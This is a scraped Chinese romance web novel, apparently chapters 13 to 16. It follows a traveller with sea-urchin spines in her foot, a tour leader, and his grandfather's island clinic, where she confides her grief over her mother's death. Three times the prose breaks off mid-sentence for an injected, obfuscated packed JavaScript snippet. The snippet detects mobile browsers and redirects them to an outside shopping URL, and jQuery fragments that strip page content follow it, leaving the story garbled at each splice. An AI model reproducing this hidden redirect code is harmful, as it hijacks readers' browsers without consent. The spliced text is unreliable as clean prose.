“一会儿我尽量开慢些,确保不会磕碰到你的脚底。”
麦初也没那么矫情,直言:“没事,你开你的,这点路我坚持的住。”
确认她坐好,乔翊落座驾驶位,已经熟能生巧的麦初这回也没之前坐他车的别扭了,她的双手自然而然地扶抓在他的腰肢,还轻轻拍了拍他示意,“好了,可以走啦。”
这样就不用他特意回头跟她确认摩托车是否能启动了。
乔翊视线下落在围绕着自己腰线上的双手,薄唇弯了弯,还是照常叮嘱一声“坐稳了”才将摩托车开动。
不同于上次,这次他大概是顾及到她的脚,车速缓慢。
温柔的海风徐徐吹过,海鸟归巢的剪影划过天际,沙滩上是车轮碾过的漫长弧线,远处的海面被夕阳镶了一层紫红的边,海浪的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182747|196967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
碎沫跳动着闪烁的金光,黄昏正以它的笔触,绘画出摩托车奔驰的画面,而他们交叠的身影在画面中无限拉长,最终成为唯美卷幅中最吸睛的一笔。
飞扬的沙粒卷着湿润在身后肆意飞扬,耳边除了风声、引擎的声,还有伴随着轮胎压过浅洼那短促而清脆的水声,那交织在空气中的所有气息均如数灌进人的胸腔内,而眼前的美好能让人将伤痛暂时抛之脑后。
“你是广东人?”只欣赏海上落日未免有些单调,麦初率先开启了话匣。
乔翊不答反问,“为什么这么问?”
麦初又用半吊子地粤语说,“nei广东话讲得唔错喎。”(你广东话讲得不错啊)
乔翊笑出一声,像是被她逗乐的,“边度係呀,我嘅英文讲嘚好啱”。”(哪里,我英语讲得更好。)
麦初只当他在开玩笑,“真嘅假嘅?”(真的假的)
乔翊却卖起关子,“你估吓。”(你猜)
被勾起兴趣的麦初不依不饶起来,在他腰间的手也不自觉收紧并晃了晃,“说来听听呗。”
只是语气听着不像胁迫,更像是撒娇。
乔翊继续目视前方把控方向,他问她:“看过《绿皮书》吗?”
他的声音缥缈不定,麦初听不大清,倾身靠过去,浑然不觉已经贴覆上了他坚实的背脊。
她不确定地询问:“是说的电影《绿皮书》吗?”
全然没有注意到在自己的动作下乔翊已经通红的耳根。
乔翊肯定后重复:“看过吗?”
这回她斩钉截铁地回答:“当然。”
摩托车的速度不知不觉间慢了下来,行进平稳,连嗡鸣都就着海浪的节拍仿佛柔和了起来。
他的声音再次传来时已然转变为了英文,像留声机中的悦耳之音,伴随着海风声,波涛声,娓娓动听地道出电影中男主写给妻子的那份情书。
“Dear Dolores,
When I think of you, I''m reminded of the beautiful plains of Iowa. The distance between us is breaking my spirit. My time and experiences without you are meaningless to me. Falling in love with you was the easiest thing I have ever done. Nothing matters to me but you. And everyday I am alive, I''m aware of this. I loved you the day I met you, I love you today… And I will love you to the rest of my life.”
纯正的美式发音让麦初叹为观止地一度以为自己真的在听原声音频,好像随着接触的深入,就会刷新一遍对他的认知,也让麦初更加好奇他这个人。
摩托车已淌过沙滩来到了一条凹凸不平的石头路,车速没有刚才平稳了,
麦初人也跟着微颠,熨烫在胸口的喧嚣随着台词的终结也隐匿在那片沙滩、那片海,她也逐渐从沉浸式的观众中出戏,慢慢地戏谑出声,“你该不会……”
没有了海浪声,四处寂静,两人之间本就无隔阂,现在更显清晰。
乔翊:“嗯?”
麦初:“对每个搭载过你车的异性都背过这段台词吧?”她蓦然屈身靠近,手也游移到他敏感的腰窝处,如隔靴搔痒般惹人难耐,她的唇瓣刮过他的耳畔,“那……”随后嘴巴一张一合地在他耳边吹起滚烫的热气。
“我是第几个呀?”
14. 14
当旖旎的气氛随风而逝,周身的一切都跟着冷静下来。
乔翊报以沉默,不置一词。
麦初的手还放在他的腰窝处,摩托车在崎岖的石子路上又颠簸了一下,本就腿脚不便又怕摔下去的她重新抓紧,却又无意直碰他的敏感点,关键她还不知死活地在他耳边撩拨,“怎么?不敢正面回应?”
乔翊将一只手从车把上腾出,把她那只停留在他敏感处的罪魁祸“手”摁住,并叮嘱,“坐好。”
麦初确定自己坐好了,倒是他在有意回避这个问题。
在她欲要追问之际,他的摩托车却突然不再颠簸了,她心头正起困惑,听闻他道:“到了。”
麦初转眼一瞧,车子停在了一家诊所门口。
透过窗户可以看到那一排排被高高挂起的吊瓶。
“岛上没有医院,大病得出岛,岛民们平时小毛小病一般都这儿解决。”说话的间隙,乔翊已经停好了车。
麦初想靠自己下来,正当她努力用另一只完好无损的脚完成身体支撑时,乔翊已经先行一步下车,并再次来到她面前。
以为他又是来抱她的,怕这里人多惹出误会,麦初想说下车比上车容易,她可以试着自己来,岂料他并没有如预想般展开任何动作,而是冷不丁冒出两个字,“没有。”
麦初慢了半拍,不解其意,她仰起头头,发现他的脸已经近在咫尺,她唇瓣机械地一张一合,“什么没有?”
她的话音刚落,肩头被他的掌心所裹住,接着腰间传来温热的力道,随即她像被浪潮承载的一叶舟,身体骤然悬空,却被一双臂膀稳稳托住。
气流悬浮间,他的声音和他的臂膀一样稳当有力,他说:“正面回应。”随后低下头,在她四目相视时给出回答:“没有。”
风吹动着诊所门前的三角梅,发出的沙沙声很像炉火中的哗剥之响,就着远处的晚霞,格外扣弄着人的心弦。
这时的麦初已经知道他在说什么,却还是下意识地追问,“没有什么?”
听她将上个问题调了个语序,乔翊低哂一声,只说,“你的第一个问题是什么,那就没有什么。”末了又补上一句,“没有特殊情况下,我的车不搭载异性。”
麦初轻唔一声,意有所指地强调,“是像我这样的异性病患吗?”
乔翊直直看着她,由于占据高势连同话语都极具压迫感。
“你以为天天有人像你运气这么好,能踩中海胆,又恰好碰上我是领队?”没再给她消化的时间,他直接抱着她往诊所里走,当务之急是先处理她的脚。
彼时乔老正在诊所偏厅的输液室给人拔针,听到门口有动静只当是又有病患来了,回头瞄了一眼,却未见其人只闻其声。
乔翊:“老头,借推拿室一用。”
随后传来一阵上楼的声响。
楼上除了两室房间,还有一间被隔出来专用做推拿室,平常供人理疗。
推拿室门帘上的一条条珠串被撩起又倏然荡下,珠串彼此碰撞,发出的细碎清亮噼啪声。
麦初被乔翊安置在一张理疗椅上,又拿来一张圆形小滑椅,让她受伤的脚架于其上。
麦初坐下后发现除了一张堆满医用书籍的日常办公桌,伫立在推拿室的一张橱柜里全是奖杯和奖状,而室内的整面墙上则挂满了大大小小的锦旗,都是致谢的,由此可见医生的医术精湛,而且平时来的人也不少,这家诊所在岛上应该是个很重要的存在。
“怎么有输液室,又有推拿室,这里到底是西医诊所还是中医诊所?”看着推拿室中齐全的装备,什么拔罐以及针灸等等的一系列工具,麦初一时看懵了,有些摸不着头绪。
“有没有听过一句广告词?”乔翊不答反问。
麦初坐得端正乖巧,洗耳恭听,耐心等待答案。
乔翊打开手机中的电筒功能,一束光照亮在两人之间,细密的光晕漫开,流淌在周身,光点在彼此的脸上游走,跟着呼吸声轻浅起伏。
“中西医结合疗效好。”
还真是一句耳熟能详的广告词,麦初小时候听过,但不记得具体是哪支广告了。
她不禁感慨,“这儿的医生能把中西医术融会贯通啊,那挺厉害的。”
乔翊开始查看她的脚底,他轻言慢语,“这座岛立海而存,不少原著岛民年纪大了,患有风湿病,子女外出务工又不在身边,他们腿脚不便需要中医理疗,所以这里的医生除了能日常看病还提供免费的中医服务。”
麦初听的认真,内心肃然起敬,“那这里的医生有几个,是原著岛民吗?”
乔翊告知:“只有一个,不是。”
闻言,麦初更加敬佩,由衷感叹,“医者仁心,他值得尊敬。”
乔翊对此不置可否,他仔细查看起她的脚,残留在皮肉中的海胆刺清晰可见,细小的碎刺甚至已经与皮肤融为一体,只剩那四散而开的黑点,在令人叫苦不迭的同时也看得头皮发麻。
“你这踩中的地方还挺分散的,要么踩了一只大海胆,要么踩到不止一只。”乔翊边检查边说。
脚底板早就麻木的麦初却百思不得其解,“也就是玩桨板的时候落了几趟水,什么时候踩到的都不知道,怎么这么衰啊。”说着话锋一转,“看来你这个领队也不怎么称职嘛,都没提到这些细枝末节的注意事项。”
乔翊失笑,这次倒没跟她抬杠,把责任全揽在了自己身上,“感谢指正,经验不足,我以后注意。”
麦初理所当然,“那也是我的血泪史给你积攒的宝贵经验好吧。”
乔翊照单全收,还虚心赠谢,“是啊,多谢。”
“小子诶,平常你就叫沙滩那帮人老把摔胳膊断腿的往我这送,怎么?今天你还亲自上阵带人回来,真把我这针灸推拿当骨科室用了是吧?这回又是个什么情况?”
这时,珠串门帘又响起清脆的哗啦声,处理好其他病人的乔老出现在门口,正好打断了了他俩的对话。
他一进门看到麦初后,推了推快要在鼻梁滑落的眼镜,视线先落在麦初脸上,随后才转落在她架在圆凳上的那只脚上,不出所料地开口。
“哟,还真是个断腿的?”
跟麦初印象中的诊所医生不大一样,眼前这位医生虽是年长者,但身形看起来十分硬朗,精气神都很足,自带一股仙风道骨的气质,加之他的医者身份,莫名给人一种医术高湛,得以信服的安全感。
“这次还真不是断腿。”乔翊第一时间起身道,“是我带队出海的游客,玩海上项目的时候踩了海胆,得处理一下,你帮帮忙呗。”
麦初不方便站立,但也很礼貌地打招呼,“医生好,不好意思,我出海口吻玩出了点小意外,麻烦您了。”
“我这里就一小破所,没有什么医生不医生的,叫我老乔就好。”乔老摆摆手,示意她不必拘礼。
但麦初作为晚辈,觉得这样叫不太合适,于是改口尊称他为“乔老师。”
这样既不会让对方不自在,也不会越了辈分。
乔老不由多看了她两眼,欣然接受,扭头却对着乔翊又是一顿输出,“难怪一天天的找不到你人,又是民宿又是出海的,反正眼里就没有我这老头子。”
乔翊继续跟他嘴贫,“哪能啊,这不就来帮你了。”
乔老哼笑一声,抬手一挥,吆喝他去干活,“那还傻站着做什么?去倒点白醋来。”
乔翊得令,真去干活了,从两人的对话中不难看出私下是十分熟悉的状态。
乔翊出去后,老人推了一盏医用光照灯打开照在麦初的脚上。
乔老对着光线仔细查看她的脚,看到脚底一大片都被刺伤了,替她惋惜,“姑娘,你这踩中的面积都占了脚的一大半,挺疼的吧?”
麦初不好意思地解释:“玩水的时候没注意,一个落水就了中镖了,可能是我运气不好踩了海胆窝了。”
乔老见女孩没有矫揉造作,还带着点小幽默,也跟着柔和一笑,他将灯将灯调亮了些,又熟练地戴上医用手套,“问题倒是不大,就是过程会有点疼。”
麦初也不在怕的,她说:“没事儿,皮肉疼我能忍的。”
乔老闻言,抬起头这才正式端详起了这位漂亮又大方的小姑娘。
后续乔老先先用酒精棉签给她消毒,顺带擦拭残留的血迹,果然小姑娘一声没吭。
乔翊也很快搞来了白醋,乔老让他放下后又招呼他去外头医护室里把消毒过的医用镊子拿过来。
门帘就这样被周而复始地被掀起再落下,清脆的珠串碰撞声如同悦耳的乐章自他们进来后还未曾停歇过。
麦初看着多次进出,比老医生还忙碌的乔翊,对这里的熟悉程度堪比在自己的样子,可见是经常来这里帮忙的。
乔翊将医用镊子拿来的功夫里,乔老消毒好麦初脚底明显的伤口,让她将脚泡进了白醋中,他说这样才能将深嵌进皮肉里的海胆刺软化,后面才好夹出来。
说不疼是假的,脚光泡在白醋里那种针扎的感觉就开始卷土重来,像有一群蚂蚁,密密麻麻地在啃食着皮肤,泡得越久刺痛感越
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182748|196967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
明显,人也越发如坐针毡。
由于她被扎的刺比较多,白醋要泡一个小时,中途乔老又去输液室忙碌了,连带着乔翊也去帮忙,比如给打针哭闹的孩子发糖或扶独自来输液的老人上个厕所什么,等他忙完得以停歇人再回到推拿室,发现麦初已经自己在用医用镊子夹刺了。
只见她屈弓着背脊,像一只小小的虾米,姿势却如同一位舞者正在练功压腿般,线条流畅的同时举手投足间也十分优美。
乔翊不由自主地想,她身段如此柔软,是不是从小练过舞蹈。
此时那盏明亮的照灯如同直播间的补光灯,拍特写般地照亮了她精致的五官。
眉如远山黛,目似秋水横波。
小巧的耳廓被几缕碎发遮掩,却在光线温柔的穿透下,呈现几近半透明的状态,连蕴藏在皮肤肌理下细小血管都清晰可见,像在手心被搓热,仍残留着体温的羊脂白玉。
直到听到门帘清脆的声响,麦初抬了抬眸,两人视线碰撞。
看到是忙完折返回来的他,她又收回视线继续垂眸专心摆弄那些磨人的刺。
“尊老爱幼的事情做完了?”不过麦初还是随口关切了一句。
乔翊嗯了一声,没急着走近,而是先去里间的洗手间洗手消毒,他的声音从里面传来,“你还真行,让你泡会儿白醋,却一声不响自己捣鼓起来了。”
麦初不以为意,“这有什么,夹个刺而已又不是什么多大的事。”
“你也不怕自己操作不当,疼痛感加剧么。”再出现,乔翊重新搬了张凳子自然而然地坐在了麦初对面。
麦初觉得他小看她,争辩,“拜托,我又不是小孩子,动不动就怕疼。”她注视着他问,“难道我看起来很脆弱吗?”
乔翊只朝她摊开手,示意把夹子给他,“还有很多小刺你自己看不见,我帮你。”
麦初也不扭捏,把夹子递给他。
乔翊对着灯光低首垂眸,小心翼翼地替她夹出刺的残留,照灯的余光将他的侧影拉长映射在墙面,随着他的动作而轻颤,直到喉结的阴影缓慢滚动,麦初才听到他略显迟到的回答。
“脆不脆弱不知道,倒是能看出来你藏着心事。”
他无心的话却一语中的,麦初箭穿雁嘴,默无一言。
这是她终究逃避不开的事实,哪怕重振旗鼓地开始工作,试图用忙碌麻痹自己,哪怕一路上遇到了许多美好的人,也领略到了崭新的风景,可是那又怎么样呢?妈妈已经不在了,她旅途里的欢喜与委屈,再也无人分享,就连一句最平常不过的晚安,都再也等不到任何回应。
人生是一场修行,可没人教过她要怎么学会离别。
思念是一种病,也没人告诉过她那其实是不治之症。
乔翊继续着手中的动作,夹着夹着正好遇到有一根深刺,原本就顽固不已地想就地扎根在她脚底,但在白醋的软磨硬泡下被迫冒出了一个黑黢黢的头,他眼疾手快地用镊子将之连根拔起,却不曾想摩擦力连带着麦初的皮肉再次受了一次钻心之苦。
她难忍地发出“嘶”地一声低吟,还没容乔翊反应过来,一滴泪已经掉落在他的手背上。
一切猝不及防,等乔翊抬头探寻时,手背上已经聚集了她更多的泪珠。
他先是一怔,“怎么哭上了?”随后立刻放下手中的镊子起身去找抽纸,后知后觉间开始自责,“抱歉,是我只顾夹刺了,动作没个轻重。”
好不容易找到了抽纸,见她不为所动,只能由他抽好了递送过去,她还是没动,他只得亲手为她擦拭泪水。
就是害怕她疼,他其实还挺注意收着力道的,哪里能想到上一秒嘴上还叫嚣着自己不脆弱的她,下一秒就被疼哭了。
屋子里的人在手忙脚乱,屋子外好巧不巧,楼下诊室有个小孩结束了输液,趁大人跟乔老拿药的功夫,一溜烟跑上楼想找乔翊玩,引得他奶奶在后面边唤边追,但老人哪里跑的过孩子,只得一路跑着唤着跟到了推拿室,没成想气喘吁吁一进来,正好撞见眼前一这一幕。
一个人在哭,一个人在哄。
俨然小情侣打情骂俏的模样。
等乔老姗姗来迟时,孩子的奶奶像知道了不得了的事情似的,急于向他求证,“哟,乔老,你家小乔终于肯谈朋友啦?”
等麦初听到人声才注意到门口已经站了好几个身影,但为时已晚。
不过比起自己被人当笑话看,她现在的侧重点更偏向对方的“你家小乔”这句话上。
所以他跟乔老是什么关系?
15. 15
“李奶奶,这我可得当面跟您掰扯清楚,我只是带民宿的顾客到我外公这儿看个脚,不然出了这诊所,明天整个小岛恐怕要传遍我快结婚的消息了。”
乔翊以开玩笑的形式第一时间向八卦的老人在线辟谣。
当乔翊自己解开麦初的疑惑时,她的内心还是诧异不已。
外公?他跟乔老居然是祖孙关系?
趁着乔翊说话之际,她视线不由自主地在他和乔老之间悄然游移,几番对比之下,发现他们眉宇间真的惊人相似。
李奶奶听到乔翊的话后嗔怪,“嗨哟,你这小子,我这不是关心你,看你老大不小了,平常我们这些旁人的事你总是上心的很,自己的事到现在却还没个着落。”
“您这么一说倒提醒我了,今年的无花果快到采摘季了,什么时候我带帮人到您果园去帮忙,好几次路过看到满园的果子,今年一定有大丰收吧。”乔翊就此将话锋一转,轻而易举地转移了李奶奶的注意力。
果然,李奶奶也很受用。
“每年都麻烦你们真是不好意思,这果子今年确实长得好哇,不仅个头比往年都大,数量也多,只是现在经济不景气,水果生意也一年不如一年,眼瞅着订单越来越少,今年呐更是不行,眼瞅着果子是又要滞销喽。”老人家说着不由自主地叹了口气,又话赶话地不忘提醒乔翊,“对了,回头啊,你跟佟川多拿点回民宿,反正卖不出去也是浪费,倒不如你们给顾客当做那个什么礼物用来着。”
乔翊友情提示,“伴手礼。”
李奶奶连连点头,“对对对,就是那个伴手礼。”又冲着麦初歉意一笑,“不好意思啊小姑娘,刚刚我老太婆没弄清楚情况搞错了,你可别生气啊。”同时叮嘱乔翊,“到时候你一定也要给小姑娘拿几袋,这是我们这儿的特产,糖包子,好吃呢,女孩子吃了可是美容养颜的。”
麦初也就坡下驴,拂手抹去眼泪大方地接受对方的好意,“好啊谢谢奶奶。我平常只能吃到无花果的干果,新鲜的无花果还真不大能吃得到,本来觉得今天出海踩了海胆运气好差,现在能赶上无花果的采摘季一饱口福,连踩了海胆的脚都觉得没先前那么疼了。”
麦初在乔翊的铺垫下顺势说出了她来到诊所的真相。
李奶奶一听,恍然大悟,“原来是踩海胆了啊,那是疼的要命的,嗨呀,我说小姑娘一个劲的在哭呢,是疼哭的啊,我还以为是小乔悄悄谈了朋友,躲在推拿室吵架呢。”她拍着大腿,一脸不好意思,“是我老太婆误会了误会了,到时候你可一定得从我那儿多拿个几箱糖包儿带走才行。”
李奶奶过意不去,又不知道该怎么表达歉意,非要给麦初多带点特产走才算心安。
麦初一听她“几箱”的措辞,大为震惊,反倒把她弄得不好意思起来了,她赶紧摆手解释,“奶奶,我拿几个尝尝鲜就够了,几箱太多了,我是一个人来的夏安岛,太多也没法带走的。”
如果人说话的时候能加emoji表情,那她现在一定是笑哭了的小人脸。
热络的李奶奶根本不给她拒绝的机会,连解决方法都给她想好了,“哪用你随身带啊,重都重死了,你留给地址,我让乔翊给你邮寄过去,有几个地方叫个顺丰最多两天就能到!”话到此处她还很自信地向乔翊求证,“是吧,小乔?”
乔翊再次友情提醒,“仅限江浙沪,其他地方的物流会相对慢些。”
“对的对的,是江浙沪很快,最多只要两天时间。”这才想起来的李奶奶赶忙跟麦初确认,“姑娘你是江浙沪人吗?方便的话告诉我们你家住哪里,好让乔翊给你算算东西在路上的时间。”
乔翊原以为麦初会对这类隐私问题心存芥蒂,但出乎意料地,她以一副坦然姿态直接自报家门。
“我是沪城人。”
闻言,乔翊眸光破空,不加掩饰地朝她看去。
麦初刚想问他干嘛一副大惊小怪的样子,李奶奶的感叹声已紧随其后,道出真相。
“沪城啊,这么巧的啊,他们爷孙俩也是沪城人呐,你们都是老乡呐。”
这下轮到麦初反观乔翊了,“你也?”
在她已经认定他是广东人的时候突然被告知是老乡,简直是平地一声雷,着实令人意外。
这种惊讶程度并不亚于曾几何时她在国外对着一个“外国人”用英语问了半天路,中途却被对方打断,“那撒,我也是中国人,新疆的,只是看起来像外国人,你有撒子直接问就行。”
“……”
对于他,她好奇过很多,唯独没有想过他们会来自同一个地方。
面前的乔翊也颔首默认了这一事实。
而看了半天热闹的乔老这时也终于出声插话,“来,老乡的事我们一会儿再认,倒是你的药得跟我去拿了。”
这话是对着李奶奶说的,她也如梦初醒想起正事来,“是啊是啊,我们小宝的药差点给忘了。”但临走还不忘提醒麦初,“姑娘,记得留个地址啊,我给你寄糖包子,你慢慢吃,或者送人都行。”
麦初实在盛情难却,只得先应承下来,“谢谢奶奶了。”
“不谢不谢。”这下李奶奶才牵着小孙子跟着乔老踏实去拿药了,推拿室一下由聒噪又重归于安静。
“这里的人就是这样,民风淳朴,逢人都很热情,尤其是老人,家里有什么恨不得都拿出来。”乔翊怕她会被李奶奶的热情吓到,率先打破了沉寂。
麦初点头,“看出来了。”又言归正传,“原来这诊所是你家的啊?”
这时虽然她已经止住了哭泣,但说话还带着一丝尚未消失的哭腔,脸上也挂着残留的泪珠,在灯光下被照得晶莹剔透,莫可名状地摄人心魄。
乔翊盯着那滴泪,看她已经拿着自己递去的纸巾在擦拭,一时也没了帮她的理由,他默然收手,也没想隐瞒这件事,直白地陈述,“岛上没有正规的医疗机构,岛民看病需要离岛,很不方便,正好老爷子以前是医生,退休后觉得闲着也是闲着,就在岛上开了这家诊所,解决了大家看病的难题。用网络术语怎么说来着?”他略做回想,记起来了,“诊所主理人?”
当他一本正经地说出这个大众梗,前一秒还陷在低落里的麦初却被他引得破涕为笑,吸着鼻子说,“诊所哪里还有什么主理人的啊。”
乔翊见她有了笑容,暗自松了口气,也不着痕迹地接上话茬。
“紧跟时代潮流,夏安岛名声虽然不大,但别的地方有的,小岛上也得有。”
“你这口气,不当村长都可惜了。”两人一来二去的对话间,麦初已经悄然拭去脸上的泪痕,语调也恢复如初,先前的失控如同潮水漫过沙滩,转瞬便了无痕迹。
“所以你是跟着乔老师到的这座小岛上?”麦初最终得出结论,如此断言。
原本还以为他是独自一人在这座岛上,她猜想过种种,譬如他只是一时兴起的旅居体验,或是暂避尘嚣、小隐于野以求得内心安宁,直到她得知他与乔老的关系,一切自然而然得到了答案。
岛上交通不便,连基本的医疗资源都很匮乏,乔老这位老医者愿意用毕身所学帮助岛民,实属仁心大义,然而岛上条件受限,乔老这家诊所都显得颇为简陋,更谈不上配备专业的医护人员,自她进入诊所以来,都没见到一位护士或助手的身影,加之乔老年事已高,长期坚守于此无论是日常诊疗,还是个人生活上,都需要一个人帮衬与照料,那么身为外孙的乔翊担任这一角色合情又合理。
乔翊却弯起唇角,没有正面回应她,“为什么不会是他跟着我来到这座小岛呢?”
麦初权当他是玩笑话,并未真正放在心上,但还是配合道,“对哦,也不是没这种可能,毕竟这里是你躲避世俗,逃离喧嚣的世外桃源,不过没想到你是拖家带口来的,这点还挺让人意外。”
乔翊侧身抱臂,跟她咬文嚼字,“拖家带口?”
麦初立即把问题抛回,“乔老师不是你的家人吗?”
乔翊无可述说,转而将目光重新落在她的脚上,“脚还疼吗?”
麦初稍稍动了动脚,跟之前的麻木状态比确实要好了些,“没有刺扎在肉里的时
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182749|196967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
候那么疼了。”
以为她刚才哭的始作俑者是自己,乔翊揽责道,“刚才有跟刺比较深,我一时没收住力才……”
麦初也不想让他平白无故地背锅,摇着头解释,“不是夹刺的缘故,是我触景伤情了。”
乔翊直觉问题还是出在自己身上,光速回溯了一遍两人间的对话后询问,“是因为我说的那句话吗?”
一阵漫长的沉默在空气中凝固,良久,麦初才几不可察地点头,缓缓道出被他一语说中的心事。
“我妈妈前两年去世了,我好像一直没能真正走出来。本来这次出门工作,也是想借着忙碌麻痹自己,可这些都只是暂时的逃避,每到夜深人静的时候,就会特别想她。”
乔翊没料到她会向自己吐露这些,不由微微一怔,随后便是下意识地道歉,“抱歉,我无意冒犯。”
从见面伊始,她总是一副潇洒不羁的模样,比如充当大姐姐的角色一路照顾迁就那三个大学生,可她忽略了一个事实:她们是三个人,可以彼此相伴互相取暖,只有她从头到尾都是孤身一人。其实那个看似最洒脱的她才是最需要被关爱的那一个。
在她的网红身份曝光后,他与那些认出她的游客一样,也妄自揣测过她此行的目的,跟他们一样浅薄地归结为名利场失意后的逃避,却未曾料到,真相远非如此。
正当他在这陡然凝重的气氛下手足无措时,另一边的麦初却沉溺在某种心绪中恍若未闻。
只见她垂着眼睫,顾自低语。
“她喜欢海,我答应过她,要陪她去一趟海边,总想着反正有的是时间和机会,每次出行总是优先去自己想去的地方,而她心心念念的海始终只停留在嘴边,从未真正付诸行动。后来她病了,是胶质瘤,视力会随着病情衰退,直到越来越模糊,我们再也无法同行,她让我做她的眼睛,替她去看海……”她停顿了一下,像是压抑着什么,调整后才继续开口:“所以这次出门的第一站,我定在了青禾,偏偏这趟旅程总像有什么在无形牵绊,从我飞机落地开始就状况百出,先是包的车在路上抛锚,青禾没去成阴差阳错到了这座岛,来就来了吧,赶个海都能碰上突如其来的暴风雨,差点没命,去海钓却又在船上被海鸥‘天降甘露’,还有玩个桨板直接踩到海胆窝。”
麦初历数着自己这一路上的霉运不断,眼泪又不争气地涌了出来,她抬手抹去却于事无补,最后哽着声问乔翊,“你说,我妈是不是在怪我,怪我始终没兑现带她看海的承诺,怪我总是忙于工作忽略了她。”长久以来积压的自责如潮水般再次将她淹没,“如果当时我没有只顾跟公司打官司争账号争得头破血流,能分一点心思在她身上,早一点察觉她身体不对劲,也许她的病就不会复发,说不定还能多撑一段时间,哪怕只多几个月也好,起码她人还在。”她用手遮住了双眼,企图用这种方式让自己看起来不至于那么的狼狈,可真实的情绪又如何能轻易逃避。
“她一定是在怪我,所以连海都不想跟我一起看了。”
麦初心头那份沉甸甸的自责、愧疚与亏欠,如同叠叠的枷锁,自母亲病情复发的那天起,便一层层堆加在身,几乎压得她喘不过气,久而久之它们形成了一座无形的大山,是她无论如何努力攀登都越不过去的一道坎。
此刻她委屈地像个孩子,总是觉得冥冥之中母亲没有原谅自己。
乔翊作为并不相熟的旁观者,当下无法给她太多安慰的话,因为在一个人情绪上头时别人所有的话都太过悬浮,只是治标不治本,他能做的只有默默地将抽纸放在她身边以供需要,同时告诉她,“其实你不用克制自己的情绪,起码在这里,你可以尽情地做自己,想笑就笑想哭就哭。”
他明白这种突如其来的崩溃,因为他也有过,并且此刻感同身受。
他也深知自己的存在像道无形的桎梏令她无法全然放开,于是他在话音落下后便不再逗留,而是悄然退去,将这方空间化作她安放情绪的、一方独处的天地。
果然,在乔翊下楼时,隔着那道门,传来麦初压抑已久的放声大哭。
16. 16
乔翊也会有毫无预兆的情绪失控。
一首暗淡的曲子,一个寂静的夜晚,一片凋零的落叶,哪怕只是一阵拂身而过的风,都有可能成为戳破情绪的小口子,每当这个时候,他需要一个释放的宣泄口,哭也是表达情绪的一种方式,所以他能理解麦初。
那边,乔老刚送走了李奶奶和她的孙子,终于能腾出时间给麦初清理伤口,正当折返,却看到正在茶水室喝水的乔翊,桌上放着的是他随身携带的药盒。
老人家驻步在门口,乔翊察觉,唤了声,“外公。”
他放下一次性水杯的动作因手中的微颤没拿稳,纸杯倾倒,水瞬间泼洒了一地,也打湿了乔翊的裤腿。
乔翊想将眼前的残局收拾干净,但却连拿拖把的手都使不上劲,乔老索性让他别动,接过拖把快速将地面做了清理。
乔翊眼看着,唇角扯出一抹自嘲。
“明明该是我照顾您的时候,现在却要反过来您照顾我,连他们都懒得管我,您还管我干什么。”
乔翊有段不为人知的身世,他自幼由外公外婆抚养,二老放养式的教育,童年倒也过得无拘无束,整日与他俩插科打诨,日子虽简单却也温暖,后来外婆因病离世,只剩下他祖孙俩,好不容易被拉扯大了,本该是他敬孝道的时候,现在却倒反天罡,总是拖累到外公。
“他们什么时候管过你?你从小在我手边长大,跟他们又有什么关系。”乔老让乔翊起开,别杵这里碍手碍脚帮倒忙,“再说了,在这岛上养老我也乐得其所,平常给人看看病日子一天天的也就这么过去了,免得总看你那名义上的妈在我面前惺惺作态,惹我心烦。”
母亲一向是祖孙俩不愿提及的话题,因为她从来不是一个正面形象,严格来说,甚至配不上“母亲”二字。
连上一次同她见面乔翊都不记得是什么时候了,在他的记忆里她一直是个很模糊影子,童年的陪伴缺失也让母子间的情感荡然无存,这也是后来她无论如何弥补也不能填补的一道裂缝。
他对此不置一词,只将自己的药盒收好重新揣进兜里,显然很回避这个话题,乔老则一味在他耳边唠叨,“这么多年,不也都过来了,现在只不过换个地方而已,只要咱爷俩在一块儿,待哪儿都一样。”
乔翊听着,仍是一言不发,掩藏在兜里的手也从躁动不安逐渐恢复如常。
乔老大概也意识到再多说不益,便消停了下来。
茶水室一下陷入安静,乔老却隐隐约约听到楼上传来一阵哭声。
这房子的前身也是一栋住宅,原本是乔翊租下给乔老在此养老的,因为他闲不住,在得到房东同意后才将一楼改造成了小诊所,二楼用作房间与书房,后来为了帮助岛民治疗风湿,肩颈,书房又被乔老改造成了推拿室。
不过老宅的质量很好,每个房间既独立又隔音,只是茶水室正好靠在楼梯口,推拿室又是二楼头间,一旦这两间有一方陷入安静,倒也能听到些对方的动静来,恰如此刻。
乔老竖耳听了会儿,确定是从楼上推拿室传下来的,转头向乔翊询问,“那姑娘是来岛上疗伤来了?”
乔翊这回开口了,却是揣着明白装糊涂,避重就轻,“人家脚都快被海胆成蜂窝了,来这儿不是疗伤难不成来参观您这小破诊所?”
